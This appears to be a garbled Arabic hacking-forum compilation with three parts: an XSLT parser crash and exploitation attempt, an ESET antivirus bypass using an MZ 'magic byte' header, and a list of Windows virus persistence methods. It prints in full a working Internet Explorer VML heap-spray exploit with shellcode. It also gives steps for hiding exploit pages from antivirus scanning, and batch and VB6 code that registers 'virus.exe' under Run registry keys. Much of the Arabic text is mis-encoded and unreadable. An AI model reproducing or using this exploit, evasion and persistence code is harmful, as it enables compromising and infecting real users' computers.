أ٫ ضٍٟ إٔ  ٓؼ٤ٖ، ٌُٖ (web app)ر٤نٝض٣ٍى ٓؼحُؿطٚ ػٖ ٣ٍ٠ن ضط XML ُ٘لٍٜ أٗٚ ُى٣ي ِٓق

ُـس ذٍٓؿس  ًُُي هحّ جُٔطٌٕٞٝ ذطط١ٌٞ parser جُطؼحَٓ ٓؼٚ ٤ٌْٕٞ ٚؼد قط٠ ذحُطؼحَٓ ٓغ

 .ذٌَٗ ج١ًُ ضٍؿد XML ضٓحػىى ك٢ ػٍٜ جذ٤حٗحش جُٔٞؾٞوز ك٢

 : XSLT ٓحٛٞ

 جٝ XML ئ٠ُ ٓٓط٘ى آنٍ ْٞجءج ًحٕ XML ذٛلس ػحٓس ٢ٛ ُـس ضٓحػىى ػ٠ِ ضك٣َٞ ٓٓط٘ى

HTML ٝج PDF ٢ٛٝ ضٓحػى ًػ٤ٍج ك٢ ػٍٜ ٓٓط٘ىجش XML ػ٠ِ ج٣ُٞد،ٝ ضؼ٤ِٔحش ُـس 

XSLT ضٌٕٞ ٟٓٔ٘س ك٢ ِٓلحش XSL ٖٓ وجنِٜح ٣ٝطْ ئْطىػحتٜح. 

 .ٖحٛى جٌُٛٞز

 
 .Wikipedia ٖٓ جٌُٛٞز

 



إٔ  ػ٠ِ ج٤ٔ٤ُٖ ٝجُ٘حضؽ ٛٞ ٓٓط٘ى آنٍ ٖٝٓ جٌُٖٔٔ XSLT ٝ ًٞو XML كٌٔح ضٗحٛى ٛ٘ح ٓٓط٘ى

٢ٌٗٞ٣ plain text ُِؼٍٜ أٝ قط٠ XML. 

ذحُطكى٣ى أغ٘حء جُطؼحَٓ ٓغ  XSL ك٢ ٓؼحُؿس ِٓلحش ٗؼٞو ُِػـٍز ًٔح هِ٘ح إٔ جُػـٍز ػرحٌز ػٖ نطأ

 .ئ٠ُ ٗٙ هحذَ ُِؼٍٜ XML ُطك٣َٞ ٓٓط٘ى XSLT أًٞجو

 .ِٗو٢ ٗظٍز ػ٠ِ جٌُٞو

 xmlcrash.xml  ِٓق ًٞو

<?xml version="1.0" encoding="UTF-8"?>  

<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>  

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">  

        <item1 id="AAAAAAA" />  

        <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>  

</root> 

 

 XSL ًٞو ِٓق

xslt.xsl 

<?xml version="1.0" encoding="UTF-8"?>  

<xsl:stylesheet version="2.0" 

xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  

        <xsl:key name="label" match="item2" use="w00t()"/>  

        <xsl:template match="root">  

                                        <xsl:for-each select="//item1">  

                                                <xsl:call-template name="item1" />  

                                        </xsl:for-each>  

        </xsl:template>  

        <xsl:template name="item1">  

                                <xsl:for-each select="key('label', 

'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">  

                                </xsl:for-each>  

        </xsl:template>  

</xsl:stylesheet> 

 

 .ٛٞ ج١ًُ ٣كىظ جُهطأ ٠رؼح جٌُٞو جُػح٢ٗ

 .ٗططٍم ج٥ٕ ٍُٗـ ذ١٤ٓ ٤ٌُِِٔح٤ُّٗ ٝ ػَٔ جُػـٍز

ٖٓ أؾَ ػٍٜ ٓكط٣ٞحضٜح ًُُي  XSL ٣ٌٖٔ إٔ ضٓطؼَٔ ِٓلحش XML هِ٘ح ْحذوح إٔ ِٓلحش ًٝٔح

 . XML جُهح٘ ذحُـ Style Sheet ٢ٛ XSL كحُـس

 :ٛ٘ح xslt.xsl جٌُٞو ج٧ٍٝ إٔ ضْ ئْطىػحء ِٓق ًٔح ضٍٕٝ ك٢

<?xml-stylesheet type="text/xsl" href="xslt.xsl"?> 

 

  ٣طْ ضطر٤ن جُٓطح٣َ ػ٠ِ ٢ٌُ

        <item1 id="AAAAAAA" />  



        <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/> 

 

 . XSL ٠روح ٌُِٞو جٌُٔطٞخ وجنَ ِٓق ٣ٝؼٍْٜٞ

، ٝذٜح ضِي جُكٍٝف root ُٜح ؾًٌ ٌت٢ٓ٤ ئْٔٚ nodes جٌُٞو جٌُٔطٞخ كٞم ٤ُّ ئ٫ ٓؿٔٞػس ٖٓ

 أنٍٟ ٬ًٔٝقظس كإ جُٔكحٌف ٓغ جُؼِْ جٗٚ ٣ٌٖٔ إٔ ضٌٕٞ قٍٝف جٝ جْٔحء

"AAAAAAAAA" ٤ُّ ٢ٛ جُط٢ ضكىظ جُهطأ 

  XSL ٗ٘طوَ ٌُٞو

 .ٌُٖ ْأقحٍٝ ج٩نطٛحٌ XSL أٌٖكٚ ذحُطل٤َٛ كًُي ٣ططِد ٢٘ٓ ٍٖـ ضؼ٤ِٔح ُـس ُٖ

 for ٝ for ذى جٗي هى ئ٠ِؼص ػ٠ِ ُـس ذٍٓؿس ٓؼ٤٘س ً٘ص هى ٌأ٣ص ك٤ٜح جُطؼ٤ِٔحش ٓػَ ٠رؼح ٫

...each ٝ if . 

 .ك٢ ًطحذس جُؼرحٌز جُرٍٓؿ٤س كو١ َ ٓـح٣ًٍٛٙ جُِـس ٌُٖ ذٌٗ كح٧ٍٓ ٣٘طرن ػ٠ِ

 ضْ ًطحذطٜح ذحٌَُٗ جُطح٢ُ for ....each كٌٔح ض٬قع ضؼ٤ِٔس

<xsl:for-each 

 

 :ض٘ط٢ٜ ذـ ٝ جُط٢

</xsl:for-each> 

 

 . XML جُط٢ ضكىو ٌٓحٕ ضطر٤ن ج٧ٍٓ ك٢ ٓٓط٘ى select ٝذؼىٛح

  ذؼىٛح ٣أض٢ ج٧ٍٓ

  <xsl:call-template name="item1" /> 

 

 :جُطح٢ُ template ٣ٓطىػ٢ ج١ًُ

   <xsl:template name="item1">  

                                <xsl:for-each select="key('label', 

'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">  

                                </xsl:for-each>  

        </xsl:template> 

 

 ُِلٍٝع جُهحٚس ذـ ٓٓ٘ى indexing جُط٢ ضوّٞ ذؼَٔ key جُىجُس ذاْطؼٔحٍ template ًجٛ ٛ٘ح ٣وّٞ

XML كطه٤َ إٔ ٓٓط٘ى XML  ًر٤ٍ ؾىج ٝذٚ كٍٝع ًػ٤ٍز ٝأٌهحّ ٝأػىجو ًػ٤ٍز كإ ػ٤ِٔس ئٗٗحء

 ،كٔػ٬ ػ٤ِٔسkey ْطٓحػى ك٢ جُطؼحَٓ ٓغ جُٔٓط٘ى ٣ٝطْ يُي ذاْطؼٔحٍ جُىجُس ج٧ْٔحء جُى٤ُ٫س

indexing َُ ٚك٢ جٌُطد ، ُ٘لٍٜ أٗي ضركع ػٖ ًِٔس جٝ ػرحٌز ْططٞؾ index (ّ٤ُ ٝ 

content) ٤ْٝؼط٤ي ٌهْ جُٛلكس جُط٢ ٣ٌٖٔ إٔ ضؿىٛح ك٤ٜح، ٝ ج٧أٍٓ ٣٘طرن ػ٠ِ ِٓلحش XML 

 .جٗي ضؼط٤ٚ ج٩ْْ ٝٛٞ ٣ؼط٤ي جُؼوىز ٝ جُؼٍ٘ٛ ذحُٟر١ ذك٤ع

ك٢ ًٛج  key ٢ جُرىج٣س ضْ ج٩ػ٬ٕ ػٖذط٣ٍوس ؿ٤ٍ ٓرحٍٖز، ٧ٗٚ ك جٌُِٔٗس ٓٞؾٞو ك٢ ًٛج جٌُٞو

 :جُٓطٍ

<xsl:key name="label" match="item2" use="w00t()"/> 

 

 :٣طْ جنً غ٬ظ ٗوح٠ ذؼ٤ٖ ج٩ػطرحٌ key ج٧ئػ٬ٕ ػٖ ػ٘ى

 "ئْْ جُٔلطحـ"=name ٝيُي ذٌطحذس key ػٖ ئْْ ج٩ػ1ٕ٬- 



 .ُٜح ndexing جٍُٔجو ػَٔ (node) ضكى٣ى جُؼوىز ٣ؼ٢٘ ذٜح mach جُهح٤ٚس جُػح٤ٗس 2٢ٛ- 

3-use ٍضه٤ٛٛح ذك٤ع ٣ٌٖٔ ٖٓ ن٬ُٜح ضؼ٤ٖ ػٍ٘ٛ ٖٓ جُؼوىز  ٝ ٢ٛ جُط٢ ضؿؼَ جُٔلطحـ جًػ

 .mach جٍُت٤ٓ٤س جُط٢ ضْ ئنط٤حٌٛح ك٢

ذٌَٗ ػٗٞجت٢ ٝٛ٘ح ٣كىظ  ذٌَٗ ٚك٤ف ٌُٖ ضْ ٝٞؼٜح use ٌُٖ ك٢ ًٞو ج٩ْطـ٬ٍ ُْ ٣طْ ضكى٣ى

 .جُهطأ

 .كحٌؿس ْٝطٍٟ ٓحيج ٤ْكىظ ذـ ٫ ٤ٖة ٣ؼ٢٘ وػٜح ()w00t ٢ٌُ ضطأًى ؾٍخ ٝئْطرىٍ

 .ئيج ٛ٘ح جٌُِٔٗس

 .(كؿؼِطٚ ذًٜج جٌَُٗ )ئنطٍٛضٚ ُوى هٔص ذرؼٝ جُطؼى٬٣ش ػ٠ِ جٌُٞو

xmlcrash.xml. 

<?xml version="1.0" encoding="UTF-8"?>  

<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>  

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">  

        <item1 id="datasniper" />  

</root> 

 

xslt.xsl 

<?xml version="1.0" encoding="UTF-8"?>  

<xsl:stylesheet version="2.0" 

xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  

        <xsl:key name="label" match="item1" use=""/>  

        <xsl:template match="root">  

                                   <xsl:for-each select="key('label', @item1)">  

                                </xsl:for-each>  

        </xsl:template>  

</xsl:stylesheet> 

 

 .جُٔٞؾٞو ك٢ أٍٝ جُىٌِ ْطٍٟ ٓػَ ًٛٙ جٌُٛٞز ذؼى ضؿٍذس جٌُٞو



 

 

ذحُلَٗ  ذحءش EAXض٬قع جٍُٗـ جٌُٔطٞخ ك٢ جٌُٛٞز ٧ٕ ػ٤ِٔس ج٧ٗطوحٍ ٌُِٔحٕ جُٔٞؾٞو ك٢ ًٔح

 .جٝ ٌٓحٕ ٓطحـ ك٢ جًُجًٍز valid ػ٠ِ ٌٓحٕ EAX ُؼىّ ئقطٞجء

 ونَ ًٛج جٍُجذ١ذٌػٍز ك٤َ غـٍجش جُٔطٛلكحش ٝ ُ٪٬٠ع أًػٍ أ ًٝٛج ٓؼٍٝف

 .جُػـٍجش ٣ٍٗـ ػ٤ِٔس ضك٤َِ غـٍز جُٔطٛلف ٝ ٢ٛ ٖٓ ٗٞع ًٛٙ

 :يُي ٝ ْأٗوَ ؾُءج ٖٓ heap spray ك٢ يُي جُىٌِ ً٘ص هى ض٘حُٝص ٓٞٞٞع

 

ْٝطظٍٜ  ٤ْكىظ ٗلّ جُهطأ EAX=0A0A0A0A كطه٤َ ُٞ إٔ جُهطأ ًحٕ ٣كىظ ُٔح ٣ٌٕٞ

  جٍُْحُس جُطح٤ُس

Access Violatiojn when reading [0A0A0A0A] 

 

ػ٤ِٔس جُكؿُ كإ ًٛج جُؼ٘ٞجٕ  كح٧ٍٓ َْٜ ٝيُي ذٔؿٍو ضٟه٤ْ جٌُٞٓس ٝج٣ُُحوز ك٤ٜح ػٖ ٣ٍ٠ن

 .٤ْٛرف ٓٞؾٞو ٤ْٝطْ جُولُ ئ٠ُ ٓكطٞجٙ

ٓٓطك٤ِس كٌِ٘ح ٣ؼْ إٔ  Spraying ًُُي كإ ػ٤ِٔس EAX=00000000 ٝٛٞ إٔ ٌُٖ جٌُِٔٗس

 .ًُُي ضرهٍ قِْ ج٩ْطػٔحٌ user mode ٣ٌٖٔ ئْطؼٔحُٚ ٖٓ ٫ 00000000جُؼ٘ٞجٕ 

ٛٞ جُطؼى٣َ ػ٠ِ جٌُٞو ٝضـ٤ٍٙ كِوى هٔص ذرؼٝ جُطؼى٬٣ش ػ٠ِ جٌُٞو كطـ٤ٍ  ٛ٘حُي أَٓ ُؼَٔ ئْطػٔحٌ ٝ



  جُؼ٘ٞجٕ ٖٓ

 :ذًٜج جُطؼى٣َ 00000031ئ٠ُ  00000000

<?xml version="1.0" encoding="UTF-8"?>  

  

<xsl:stylesheet version="2.0" 

xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  

  

        <xsl:key name="label" match="item1" use=""/>  

  

        <xsl:template match="root">  

                                   <xsl:for-each select="key('label', @item1)">  

                                </xsl:for-each>  

        </xsl:template>  

</xsl:stylesheet>                                                                                    

 017ED9A0جُؼ٘ٞجٕ  ٝؿ٤ٍضٚ ئ٠ُ

 : XSL ذًٜج جٌُٞو ك٢ ِٓق

<?xml version="1.0" encoding="UTF-8"?>  

  

<xsl:stylesheet version="2.0" 

xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  

  

        <xsl:key name="label" match="item1" use=""/>  

        <xsl:template match="root">  

                                   <xsl:value-of select="key('label', @item1)">  

                                </xsl:value-of>  

        </xsl:template>  

</xsl:stylesheet>                                                                                   

 

 

 

 

( ٝٛٞ ٓٞؾٞو ك٠ ٓٞهغ ج٫ٖٓ ٝجُكٔح٣س ك٠ ج٫ٗطٍٗصُٔؼٍكٚ جٌُػ٤ٍ ٖٓ جُػـٍجش جهٍأ ًطحخ) 

 ًطد 

 

 

 

 

 

 



 

 Eset Smart Securityغـٍز ج٤٘ٓس نط٤ٍز ك٢ ذٍٗحٓؽ   

 

 ESET Smart Security Malicious WebPage Detection Bypass :ٗٞع جُػـٍز

 ESET Smart Security ٗٓم ؾ٤ٔغ :ج٩ٚىجٌجش جُٔٛحذس

 DATA_SNIPER :جٌُٔطٗق

 2008/08/15 :ضح٣ٌم ج٩ًطٗحف

 .ػح٤ُس ؾىجج :جُهطٌٞز

 

 :جُٔٓطهىٓس ٍٖـ جُطو٤٘س

ك٤ٍْٝحش ٝض٘ل٤ً جًٞجو ٞحٌز ػٖ  ضؼطرٍ ًٛٙ جُػـٍز نط٤ٍز ؾىج ٖٓ ٗحق٤س جٜٗح هى ضٓٔف ذاونحٍ

ٜح ٝ جُطؼى٣َ ػ٤ِ HTML ذٛلكحش ٣ٍ٠ن غـٍجش جُٔطٛلف ق٤ع ضٌٖٔ ًٛٙ جُػـٍز ك٢ جُط٬ػد

ٌُٖ  "The Magic of magic byte" ،ٝجُػـٍز جُط٢ ئًطٗلطٜح جْحْٜح ٓر٢٘ ػ٠ِ ػ٠ِ كٌٍز

 جُؿى٣ىز جُط٢ ٖٓ ذ٤ٜ٘ح AntiVirus ٓغ ذؼٝ ج٩ٞحكحش ٢ٌُ ضٌٕٞ ْح٣ٌس جُٔلؼٍٞ ٓغ ذٍجٓؽ

ESET Smart Security 

The Magic of magic byte: 

 Andrey Bayora ُوى ظٍٜ ًٛج جُ٘ٞع ٖٓ جُػـٍجش ذٞجْطس

 :ٝ جُط٢ ٤ْٔص ذـ

The Magic of magic byte 

 

 :ضٌٕٞ ذاٞحكس ٤ٛىٌ جُِٔلحش جُط٘ل٣ً٤س جُِٔلحش جُطح٤ُس ٝجُط٢

BAT,JS,HTML 

 

 .ٓح ٣وٍٞ ٚحقد جُٔٞهغ قٓد

 :IE6 ٓػ٬ ًٛج ًٞو ٩ْطػٔحٌ غـٍز ك٢ ٓطٛلف

# MS Internet Explorer (VML) Remote Buffer Overflow Exploit (XP 

SP2)  

<!--  

  

..::[ jamikazu presents ]::..  

  

Microsoft Internet Explorer VML Remote Buffer Overflow Exploit 

(0day)  

Works on all Windows XP versions including SP2  

  

Author: jamikazu   

Mail: jamikazu@*****.com  

  

Credit: metasploit, SkyLined  



  

invokes calc.exe if successful   

  

  

-->  

  

<html xmlns:v="urn:schemas-microsoft-com:vml">  

  

<head>  
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">  

</object>  

<style>  

v\:* { behavior: url(#VMLRender); }  

</style>  

</head>  

  

<body>  

  

<script language="javascript">  

  

        var heapSprayToAddress = 0x05050505;  

  

        var payLoadCode =   

        

unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178

%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%

u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%

u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%u

EB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3

040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09E

B%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%

uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u6

3E7%u6C61%u0063");  

  

        var heapBlockSize = 0x400000;  

  

        var payLoadSize = payLoadCode.length * 2;  

  

        var spraySlideSize = heapBlockSize - (payLoadSize+0x38);  

  



        var spraySlide = unescape("%u9090%u9090");  

        spraySlide = getSpraySlide(spraySlide,spraySlideSize);  

  

        heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;  

  

        memory = new Array();  

  

        for (i=0;i<heapBlocks;i++)  

        {  

                memory[i] = spraySlide + payLoadCode;  

        }  

  

  

  

        function getSpraySlide(spraySlide, spraySlideSize)  

        {  

                while (spraySlide.length*2<spraySlideSize)  

                {  

                        spraySlide += spraySlide;  

                }  

                spraySlide = spraySlide.substring(0,spraySlideSize/2);  

                return spraySlide;  

        }  

  

</script>                                                                                                               

                                                        <v:rect style='width:120pt;height:80pt' 

fillcolor="red">  

<v:fill method  = "ԅԅԅ" ></v:rect></v:fill>                                                     

                                                                                          

</body>  

</html> 

 

 :ج٤ُٜىٌ جُطح٤ُس ئ٠ُ جُِٔق ُٖ ٣طْ ًٗلٚ ٝذاٞحكس

MZ......................@...............................................!..L.!This program 

cannot be run in DOS mode....$ 

 

 .سٓٛحذس ذٜح ٌُٖٝ ئٚىجٌجضٜح هى٣ٔ Antivirus يًٍ ٌٓطٗق جُػـٍز ذؼٝ ذٍجٓؽ ُٝوى

 :٣ٍٗـ جُػـٍز ًٛج ٌجذ١

http://www.securityelf.org/magicbyte.html 



 

  .ًٛٙ جُػـٍز ضهطِق ه٬٤ِ + ئٞحكس ٚـ٤ٍز ٌٖٝٓٔ ضٌٕٞ ذٍجٓؽ ػى٣ىز ٓٛحذس ذٜح ٌُٖ

 ٓح جُلٍم ذ٤ٜ٘حٓح؟

٤ْطْ  HTML جٝ BAT جٝ JS ٗحق٤س جٗٚ جُِٔلحش جُٔؼىُس كؼحُس ٖٓ Magic Byte غـٍز

 .ٌُٖ ٨ُْق ًٛج ًحٕ ْحذوح " ج٣٧ٍٓ ُِلأٌز ٤ٖ ػ٠ِ جٌُُضٗـ٤ِٜح ٓرحٍٖز "ٗوٍض

كؼحٍ ك٢ قحُس ٝجقىز  Eset Smart Security جُ٘ٞع جُٔؼىٍ جٝ جُٔطٌٞ ج١ًُ جًطٗلطٚ ك٢

٣ٍ٠ن جُٔطٛلف ٝذؼى يُي  ػ٘ى ٌكغ جُٛلكس جُِٔـٔس ػ٠ِ ٤ٍْكٍ ٣ٝطْ ػٍٜ جُٛلكس ػٖ

ًػ٤ٍز ج٤ُّٞ نحٚس  ،ًْٝ ٢ٛ٢ٛ ذىٌٝٛح "غـٍجش جُٔطٛلف" ضٗـَ ذٍٓؿ٤حش ٝجًٞجو ٞحٌز 

 .كو١ IE6 إٔ ًٛج جُ٘ٞع ٖٓ جُػـٍجش قى٣ع ٝٓطٞجكن ٓغ + ActiveX غـٍجش

 .ئٕ ُْ ضلْٜ ئهٍأ جٍُٗـ

 :ٍٖـ جُػـٍز

٣وّٞ ذؼ٤ِٔس ككٙ جُِٔلحش  Eset Smart Security ذؼٝ جُطك٤َِ ضِٞٚص ئ٠ُ جٕ ذؼى

جُٔق ٤ُّ ض٘ل١ً٤ ًُٔج  ٣ٍ٠ن ٓؼٍكس ٗٞع جُِٔق، ٓػ٬ ئيج ٝؾى جُرٍٗحٓؽ جٕ ًٛج ٝيُي ػٖ

 و٣ىجٕ" ٝجُؼٌّ ئيج ٝؾى ِٓق ض٘ل١ً٤-ذاْطؼٔحٍ ضٞه٤ؼحش جُِٔلحش جُط٘ل٣ً٤س"ك٤ٍْٝحش ٣وّٞ

 ٛ٘ح ٣ٌٖٔ HTML ُٔحيج ٣وّٞ ذلكٛٚ ذٞجْطس ضٞه٤ؼحش جُل٤ٍْٝحش ٝ جُػـٍجش ٖٓ ٗٞع

 جُِـُ

 ٌُٖ جُٓإجٍ ٤ًق ٣طؼٍف ج٫ٗط٢ ك٤ٍِٝ ػ٠ِ جُِٔق؟

 .٣س جٝ ٓوىٓس ج٤ُٜىٌ ٝ ج٩ٓطىجوجشجُر٤طحضح جُٓكٍ ِْٜس ..ػٖ ٣ٍ٠ن

 .:ُٖ ض٘ؿف ٓؼي جُط٣ٍوس ئيج هٔص ذحُطح٢ُ ًُُي

 .js جٝ html جٝ htm ٝئذوحء ئٓطىجو HTML ُِٔق EXE File ئٞحكس ٤ٛىٌ جٍ-1

 ئٞحكس ج٤ُٜىٌ جٝ جُرح٣طحش جُٓك٣ٍس ٝػىّ EXE ضـ٤ٍ ئٓطىجو جُٛلكس جُِٔـٔس ئ٠ُ-2

"MZ". 

 .٣قجُطؼٍ جٌت٤ص ئيٕ ٛ٘حُي ٖط٤٠ٍٖ ك٢

 .ج٩ٓطىجو،جُرح٣طحش جُٓك٣ٍس

 :ػ٤ِٜح ذحٌَُٗ جُطح٢ُ ػ٠ِ ْر٤َ جُٔػحٍ ٣طؼٍف HTML ٓػ٬ ٚلكحش

 .html ج٩ٓطىجو-

 HTML ٝجُط٢ ض٠ٔٓ "<*>" ٢ٛ HTML Files جُر٤طحش جُٓك٣ٍس جُهحٚس ذحٍ-

TAG "جٗح ُٚ ٤ُّٝ ٓٞغن ًٛج ٓػحٍ كو١ ٝضك٤َِ ضٞك٤و٢ كو١ ضِٞٚص". 

 .جٌُٗق يج ْ٘لؼَ ٢ٌُ ٗطهط٠ج٫ٕ ِٝٚ٘ح ُِؿُء ج٧ْٛ ٓح

جُطح٢ُ  جٝ ج٤ُٜىٌ "MZ" ذاٞحكس جُر٤طحش جُٓك١ٍ جُهحٚس ذحُِٔلحش جُط٘ل٣ً٤س ْ٘وّٞ

 : ُِٛلكس جُِٔـٔس

MZ@.....................@...................................@...PE..L....X.G....  

.....................0..&........@....@ 

 

 :جٝ

MZ 

 

جككٜٛح ج٫ٕ، ك٢ ٌج٣ي َٛ ٤ْطْ ًٗق ج٩ْطػٔحٌ جٝ جُٛلكس .. جُٛلكس ٝقلٟٜح ُرىج٣س

جٝ ْ٘وّٞ ذؼىّ  txt ج٠ٍُٗ ج٧ٍٝ ؿ٤ٍ ٓكون ٣ؿد ضـ٤ٍ ج٩ٓطىجو ئ٠ُ جُِٔـٔس ...٠رؼح ٗؼْ ٧ٕ

٣وٍأ جُٛلكس وٕٝ ئٓطىجو كح٫ٍٓ ؾ٤ى ٝٓل٤ى ، ًحٕ ٖٓ جٌُٖٔٔ جٕ  IE6 ٝٞغ ئٓطىجو ٝٓحوجّ



ي ْطٞجؾٚ ٓٗحًَ ًُُي ٫ ضٟغ ُٚ ئٓطىجو ٝهْ ذٍكؼٚ ػ٠ِ ٤ٍْكٍ ٓؼ٤ٖ ٌُ٘ exe ضؿؼَ ئٓطىجوٙ

 :جُطح٢ُ ٝضٛلكٚ ذحٌَُٗ

http://Evilsite.com/exploit 

 

 .٣ٗحٛى ESET Stupid Security جٌُحٌغس ،ج٩ًٓر٣ِٞص ضْ ضٗـ٤ِٜح ٝجُٔٓطٍ ْٝطٍٟ

ٕ ذٚ ئيج ًح HTML جُرٍٗحٓؽ ُٖ ٣ٌٗق ج١ ك٤ٍِٝ جٝ ئْطػٔحٌ غـٍز ٌٓطٞخ ذحٍ ًِٝٔهٙ

جُْٜٔ  PHP جٝ VBS جٝ JS جٝ HTML ٝ ئٓطىجوٙ ؿ٤ٍ ئٓطىجو "MZ" جُٓك٣ٍس جُر٤طحش

 .جُؼ٬هس ذح٣ٌٍُٓرطحش ٢ٗ٧ جظٖ جٜٗح ٓؼح ك٢ ٗلّ هحػىز جُر٤حٗحش ج١ ٢ٖء ُٚ

 :جُكٍِٞ

 . OPERA جٝ Firefox ٝجْطؼَٔ IE6 ٫ ضٓطؼَٔ

 .ج٩ٓطىجوجش س٨ُٝٗطٍٗص أًٓرٌٍِٞ ٤ٛٗد ك٢ ًٛٙ جُػـٍز أ٣ٟح ك٤ٔح ٣طؼِن ذهىػ

 .نطٌٞضٜح ٤ْطْ ئٌكحم جُل٤ىٝ جٍُٔز جُوحوٓس ئٕ ٖحء الله ٝ ج١ًُ ٣ٞٞف

 . ٓٛحخ ذٜح جُػـٍز ُْ ٣طْ ضؿ٣ٍرٜح ػ٠ِ ج٫ٗط٢ ك٤ٍِٝ ج٫نٍٟ ػىٟ جٌُحْرٍ ٌُ٘ٚ ؿ٤ٍ

 ٣رِـ٢ٗٞ جٌؾٞ ٖٓ ج٫نٞز ج٣ًُٖ ضطٞكٍ ػ٘ىْٛ ذٍجٓؽ ٟٓحوز جنٍٟ جٕ ٣ؿٍذٞٛح ٝ

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

 الىيندوز فًطرق بدايه عمل الفيرس               

 

 start up*اسلىب فيروسات 

 

  start upكُٞىٌ  -1

 (xpٝٛٞ كُٞىٌ ٓٞؾٞو ك٠ ًٛج جُٔٓحٌ )

C:\Documents and Settings\ جْْ جُٔٓطهىّ   \Start Menu\Programs\Startup 

 

                                     

                                     
        

 

 batch (.bat)ٝج٤ٌُْ ج٫ًٞجو جُهحٚٚ ذِل٤ٍْٝحش ذِـٚ جُرحضٕ 

 
 startupٝٛٞ ٣وّٞ ذ٘ٓم ِٓق جُرحضٕ ج٠ُ كُٞىٌ 

 

 جْطهىجّ جٍُؾٓطٍٟ  -2

ٝٛٞذٍٗحٓؽ ٓىٓؽ ٓغ جُ٘ظحّ ٣وّٞ ذؼىٙ ٜٓحّ ٓػَ جُطؼ٣ٍلحش ٝذ٤حٗحش جُٔٓطهى٤ٖٓ ٝضٗـ٤َ ذٍجٓؽ جُؼَٔ 

 ج٣ُٞ٘ىَٝ ..........جُم ٓغ جه٬ع

  
 

 

 ٝأ٤ٌُْ ٓٓحٌ جُرٍجٓؽ جُط٠ ضؼَٔ ٓغ ذىج٣ٚ ج٣ُٞ٘ىَٝج٫ًػٍ جْطهىجٓح



[HKEY_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 

 

                                                                                    جنٍٟ جهَ ٤ٖٞػح ًٛٙ هحتٔسٝ
 

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce 

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce  

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run  

 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunOnce 

 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunOnceEx 

  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServices 

 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServicesOnce 

٣ٟٝغ ذٜح ه٤ٔٚ ذٜح جُٔٓحٌ جُل٤ٍِ ًٝٛج جُٔٓحٌ  runٝجُٔٓحٌ ج٫ض٠  ٣وّٞ ذؼَٔ كُٞىٌ) ٓلطحـ( ذحْْ 

 ٣ُِٞ٘ىَٝ   ٣٫start upظٍٜك٠ 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 

\CurrentVersion\policies\Explorer\run 

 ٝج٤ٌُْ جًٞجو ذِـٚ جُرحضٕ  

 

Reg add hkcu\software\microsoft\windows\currentversion 

\run /v M /t reg_sz /d "c:\xx.bat" 

                                                                                                   جٝ

Reg add hkLM\software\microsoft\windows\currentversion 

\run /v M /t reg_sz /d "c:\xx.bat" 

 ٓوىجٌ جُو٤ٔس d/ ٗٞع جُو٤ٔس ك٢ ج٣ٍُؿٓط١ٍ ٝذحُـ t/ ٬ٓقظس جُٔوٛٞو ذـ

  6ٝج٤ٌُْ ًٞو ذِـٚ جُل٤ؿٞجٍ ذ٤ٓي
   Dim R As Object 

    Set R = CreateObject("WScript.Shell") 

    Const Key = "HKLM\Software\Microsoft\Windows\CurrentVersion\run" 

    R.RegWrite Key, 1, "REG_SZ" 

    R.RegWrite Key + "\sameh", "c:\virus.exe" 

    Set R = Nothing 

 

ػٖ ٣ٍ٠ن جٍٓ  explorer.exeٝأ٤ٌُْ أهٟٞ ٣ٍ٠وٚ ٫ْطهىجّ جٍُؾٓطٍٟ ُِل٤ٍِ ٝٛٞ جُؼَٔ ٓغ ِٓق 

( ٝٓح explorer.exeٞو ك٠ جٍُؾٓطٍٟ ٓٓإٍ ػٖ ضٗـ٤َ ًٛج جُِٔق )ٝٛٞ ٓلطحـ ٓٞؾshell) ضٗـ٤َ )

٣٫ٝظٍٜقط٠  ِٝٓق جُل٤ٍِ ٓغ ذؼٝ ُْٝ ٣ٌٗق ذأٟ ٣ٍ٠وٚ explorerْٞف ٗوّٞ ذؼِٔٚ ذؿؼَ ِٓق 

 ٝج٤ٌُْ ٓٓحٌ ًٛج جُٔلطحـ   ٣ُِٞ٘ىَٝ   start upك٠ 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ 



